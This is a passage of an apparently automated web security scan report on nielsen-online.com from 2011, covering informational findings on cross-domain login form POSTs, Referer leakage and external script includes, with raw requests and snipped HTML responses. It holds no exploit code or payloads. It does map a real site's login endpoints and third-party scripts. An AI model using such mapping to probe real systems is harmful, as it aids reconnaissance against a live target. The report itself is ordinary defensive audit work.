5. Cross-domain POST previous next
There are 19 instances of this issue:

/login/sl_adi.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ari.htm
/login/sl_ca.htm
/login/sl_hso.htm
/login/sl_jpbz.htm
/login/sl_mki.htm
/login/sl_mvw.htm
/login/sl_scs.htm
/login/sl_sur.htm
/login/sl_vc.htm

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

5.1. http://www.nielsen-online.com/login/sl_adi.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_adi.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

username
password
product_id

Request

Response

5.2. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-china.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.3. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-japan.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.4. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-korea.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.5. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-brazil.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.6. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-southafrica.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.7. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain www.adrelevance.com. The form contains the following fields:

namefield
passfield

Request

Response

5.8. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevancei-australia.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.9. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-india.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.10. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevancei.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.11. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form which POSTs data to the domain adrelevance-taiwan.netratings.com. The form contains the following fields:

User
Pwd

Request

Response

5.12. http://www.nielsen-online.com/login/sl_ca.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ca.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

username
password
product_id

Request

Response

5.13. http://www.nielsen-online.com/login/sl_hso.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_hso.htm

Issue detail

The page contains a form which POSTs data to the domain ereportsacn.netratings.com. The form contains the following fields:

p_logon
p_password

Request

Response

5.14. http://www.nielsen-online.com/login/sl_jpbz.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_jpbz.htm

Issue detail

The page contains a form which POSTs data to the domain nreports.netratings.com. The form contains the following fields:

p_logon
p_password

Request

Response

5.15. http://www.nielsen-online.com/login/sl_mki.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mki.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

username
password
product_id

Request

Response

5.16. http://www.nielsen-online.com/login/sl_mvw.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mvw.htm

Issue detail

The page contains a form which POSTs data to the domain mpreports.netratings.com. The form contains the following fields:

p_logon
p_password

Request

Response

5.17. http://www.nielsen-online.com/login/sl_scs.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_scs.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

username
password
product_id

Request

Response

5.18. http://www.nielsen-online.com/login/sl_sur.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_sur.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

user
pword
product_id
login
template

Request

Response

5.19. http://www.nielsen-online.com/login/sl_vc.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_vc.htm

Issue detail

The page contains a form which POSTs data to the domain secure.netratings.com. The form contains the following fields:

username
password
product_id

Request

Response

6. Cross-domain Referer leakage previous next
There are 4 instances of this issue:

/contact.jsp
/intl.jsp
/press.jsp
/resources.jsp

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

6.1. http://www.nielsen-online.com/contact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/contact.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.nielsen-online.com/contact.jsp?section=con_all

The response contains the following links to other domains:

http://blog.nielsen.com/nielsenwire/
http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings
http://en-us.nielsen.com/main/insights/rankings
http://en-us.nielsen.com/main/insights/reports
http://en-us.nielsen.com/main/insights/webinars
http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics
http://en-us.nielsen.com/tab/product_families/nielsen_netratings
http://secure-us.imrworldwide.com/v53.js
http://ssoprod.netratings.com/josso/signon/?product_id=6
http://ssoprod.netratings.com/josso/signon/?product_id=7
http://www.cr-nielsen.com/
http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653
http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx
http://www.netratings.co.jp/
http://www.netratings.com/contact.jsp?section=con_all
http://www.nielsen.com/

Request

GET /contact.jsp?section=con_all HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:26 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 49686

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <titl
...[SNIP]...
<span class="global_nav_logo"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" title="Nielsen"><img src="img/en/global/logo_no.jpg" width="209" height="60" border="0" alt="Home">
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" target="_blank" class="anavlt">Brazil</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.co.jp" target="_blank" class="anavlt">Japan</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.com/contact.jsp?section=con_all" target="_self" class="anavlt">United States</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=7" class="anavltcl">NetView</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=6" class="anavltcl">@Plan</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx" class="anavltcl">WebRF</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" class="anavlt">U.S. NetRatings </a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics" class="anavlt">U.S. BuzzMetrics</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings" class="anavlt">Global Nielsen Online Sites</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a target="_blank" href="http://en-us.nielsen.com/main/insights/reports" class="anavlt">Nielsen Reports</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/webinars" class="anavlt">Nielsen Webinars</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://blog.nielsen.com/nielsenwire/" class="anavlt">Nielsen Wire</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/rankings" class="anavlt">Free Data and Rankings</a>
...[SNIP]...
<div class="transOFF" onmouseover="this.className='transON'" onmouseout="this.className='transOFF'"><a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" target="_blank" class="sn_link" id="sn_link_2">Brazil</a>
...[SNIP]...
<div class="transOFF" onmouseover="this.className='transON'" onmouseout="this.className='transOFF'"><a href="http://www.cr-nielsen.com" class="sn_link" id="sn_link_2">China</a>
...[SNIP]...
<div class="transOFF" onmouseover="this.className='transON'" onmouseout="this.className='transOFF'"><a href="http://www.netratings.co.jp" class="sn_link" id="sn_link_2" target="_blank">Japan</a>
...[SNIP]...
<td>
           <a href="http://www.cr-nielsen.com" onMouseOver="return escape('China')" target="_self"><img border="0" src="img/en/map/mapMerg2_24.gif" width="17" height="25" alt="">
...[SNIP]...
<td>
           <a href="http://www.netratings.co.jp" onMouseOver="return escape('Japan')" target="_blank"><img border="0" src="img/en/map/mapMerg2_27.gif" width="35" height="25" alt="">
...[SNIP]...
<td>
           <a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" onMouseOver="return escape('Brazil')" target="_blank"><img border="0" src="img/en/map/mapMerg2_40.gif" width="33" height="38" alt="">
...[SNIP]...
<td width="470" align="right">

<a class="terms" href="http://www.nielsen.com">The Nielsen Company</a>
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

6.2. http://www.nielsen-online.com/intl.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/intl.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.nielsen-online.com/intl.jsp?country=au

The response contains the following links to other domains:

http://blog.nielsen.com/nielsenwire/
http://en-us.nielsen.com/careers
http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings
http://en-us.nielsen.com/main/insights/rankings
http://en-us.nielsen.com/main/insights/reports
http://en-us.nielsen.com/main/insights/webinars
http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics
http://en-us.nielsen.com/tab/product_families/nielsen_netratings
http://secure-us.imrworldwide.com/v53.js
http://ssoprod.netratings.com/josso/signon/?product_id=6
http://ssoprod.netratings.com/josso/signon/?product_id=7
http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653
http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx
http://www.netratings.co.jp/
http://www.netratings.com/contact.jsp?section=con_all
http://www.nielsen.com/

Request

GET /intl.jsp?country=au HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:07:56 GMT
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Content-Length: 26444

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<titl
...[SNIP]...
<span class="global_nav_logo"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" title="Nielsen"><img src="img/en/global/logo_no.jpg" width="209" height="60" border="0" alt="Home">
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" target="_blank" class="anavlt">Brazil</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.co.jp" target="_blank" class="anavlt">Japan</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.com/contact.jsp?section=con_all" target="_self" class="anavlt">United States</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=7" class="anavltcl">NetView</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=6" class="anavltcl">@Plan</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx" class="anavltcl">WebRF</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" class="anavlt">U.S. NetRatings </a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics" class="anavlt">U.S. BuzzMetrics</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings" class="anavlt">Global Nielsen Online Sites</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a target="_blank" href="http://en-us.nielsen.com/main/insights/reports" class="anavlt">Nielsen Reports</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/webinars" class="anavlt">Nielsen Webinars</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://blog.nielsen.com/nielsenwire/" class="anavlt">Nielsen Wire</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/rankings" class="anavlt">Free Data and Rankings</a>
...[SNIP]...
<td align="left" valign="top"><a href="http://en-us.nielsen.com/careers"><img border="0" src="img/int/icon/icon_car_ap.gif">
...[SNIP]...
<td width="470" align="right">

<a class="terms" href="http://www.nielsen.com">The Nielsen Company</a>
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

6.3. http://www.nielsen-online.com/press.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/press.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.nielsen-online.com/press.jsp?section=ne_press_releases

The response contains the following links to other domains:

http://blog.nielsen.com/nielsenwire/
http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings
http://en-us.nielsen.com/main/insights/rankings
http://en-us.nielsen.com/main/insights/reports
http://en-us.nielsen.com/main/insights/webinars
http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics
http://en-us.nielsen.com/tab/product_families/nielsen_netratings
http://secure-us.imrworldwide.com/v53.js
http://ssoprod.netratings.com/josso/signon/?product_id=6
http://ssoprod.netratings.com/josso/signon/?product_id=7
http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653
http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx
http://www.netratings.co.jp/
http://www.netratings.com/contact.jsp?section=con_all
http://www.nielsen.com/

Request

GET /press.jsp?section=ne_press_releases HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:23 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 35111

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>


   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title>Nielsen
...[SNIP]...
<span class="global_nav_logo"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" title="Nielsen"><img src="img/en/global/logo_no.jpg" width="209" height="60" border="0" alt="Home">
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" target="_blank" class="anavlt">Brazil</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.co.jp" target="_blank" class="anavlt">Japan</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.com/contact.jsp?section=con_all" target="_self" class="anavlt">United States</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=7" class="anavltcl">NetView</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=6" class="anavltcl">@Plan</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx" class="anavltcl">WebRF</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" class="anavlt">U.S. NetRatings </a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics" class="anavlt">U.S. BuzzMetrics</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings" class="anavlt">Global Nielsen Online Sites</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a target="_blank" href="http://en-us.nielsen.com/main/insights/reports" class="anavlt">Nielsen Reports</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/webinars" class="anavlt">Nielsen Webinars</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://blog.nielsen.com/nielsenwire/" class="anavlt">Nielsen Wire</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/rankings" class="anavlt">Free Data and Rankings</a>
...[SNIP]...
<td width="470" align="right">

<a class="terms" href="http://www.nielsen.com">The Nielsen Company</a>
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

6.4. http://www.nielsen-online.com/resources.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/resources.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.nielsen-online.com/resources.jsp?section=training_form&nav=3

The response contains the following links to other domains:

http://blog.nielsen.com/nielsenwire/
http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings
http://en-us.nielsen.com/main/insights/rankings
http://en-us.nielsen.com/main/insights/reports
http://en-us.nielsen.com/main/insights/webinars
http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics
http://en-us.nielsen.com/tab/product_families/nielsen_netratings
http://secure-us.imrworldwide.com/v53.js
http://ssoprod.netratings.com/josso/signon/?product_id=6
http://ssoprod.netratings.com/josso/signon/?product_id=7
http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653
http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx
http://www.netratings.co.jp/
http://www.netratings.com/contact.jsp?section=con_all
http://www.nielsen.com/
https://www.livemeeting.com/lrs/8000012213/Registration.aspx?pageName=gtz4zhc12hvsjksl

Request

GET /resources.jsp?section=training_form&nav=3 HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:23 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 33679

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title
...[SNIP]...
<span class="global_nav_logo"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" title="Nielsen"><img src="img/en/global/logo_no.jpg" width="209" height="60" border="0" alt="Home">
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.ibope.com.br/calandraWeb/servlet/CalandraRedirect?temp=5&proj=IBOPEenglish&pub=T&comp=IBOPE+Group&db=caldb&docid=62BA844B57E79D0483256EE5006F5653" target="_blank" class="anavlt">Brazil</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.co.jp" target="_blank" class="anavlt">Japan</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://www.netratings.com/contact.jsp?section=con_all" target="_self" class="anavlt">United States</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=7" class="anavltcl">NetView</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://ssoprod.netratings.com/josso/signon/?product_id=6" class="anavltcl">@Plan</a>
...[SNIP]...
<div class="menuclOFF" onmouseover="this.className='menuclON'" onmouseout="this.className='menuclOFF'"><a href="http://www.imseverywhere.com/Citrix/MetaFrame/auth/login.aspx" class="anavltcl">WebRF</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_netratings" class="anavlt">U.S. NetRatings </a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/tab/product_families/nielsen_buzzmetrics" class="anavlt">U.S. BuzzMetrics</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/forms/product_families/nielsen_netratings/nielsen_netratings" class="anavlt">Global Nielsen Online Sites</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a target="_blank" href="http://en-us.nielsen.com/main/insights/reports" class="anavlt">Nielsen Reports</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/webinars" class="anavlt">Nielsen Webinars</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://blog.nielsen.com/nielsenwire/" class="anavlt">Nielsen Wire</a>
...[SNIP]...
<div class="menuOFF" onmouseover="this.className='menuON'" onmouseout="this.className='menuOFF'"><a href="http://en-us.nielsen.com/main/insights/rankings" class="anavlt">Free Data and Rankings</a>
...[SNIP]...
</a> -->
<a href="https://www.livemeeting.com/lrs/8000012213/Registration.aspx?pageName=gtz4zhc12hvsjksl" target="_self" style="color:#009dd9;">here</a>
...[SNIP]...
<td width="470" align="right">

<a class="terms" href="http://www.nielsen.com">The Nielsen Company</a>
...[SNIP]...
</script>
<script language="JavaScript" src="//secure-us.imrworldwide.com/v53.js">
</script>
...[SNIP]...

7. Cross-domain script include previous next
There are 15 instances of this issue:

/about_privacy.jsp
/contact.jsp
/intl.jsp
/login/sl_adi.htm
/login/sl_ari.htm
/login/sl_ca.htm
/login/sl_hso.htm
/login/sl_jpbz.htm
/login/sl_mki.htm
/login/sl_mvw.htm
/login/sl_scs.htm
/login/sl_sur.htm
/login/sl_vc.htm
/press.jsp
/resources.jsp

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

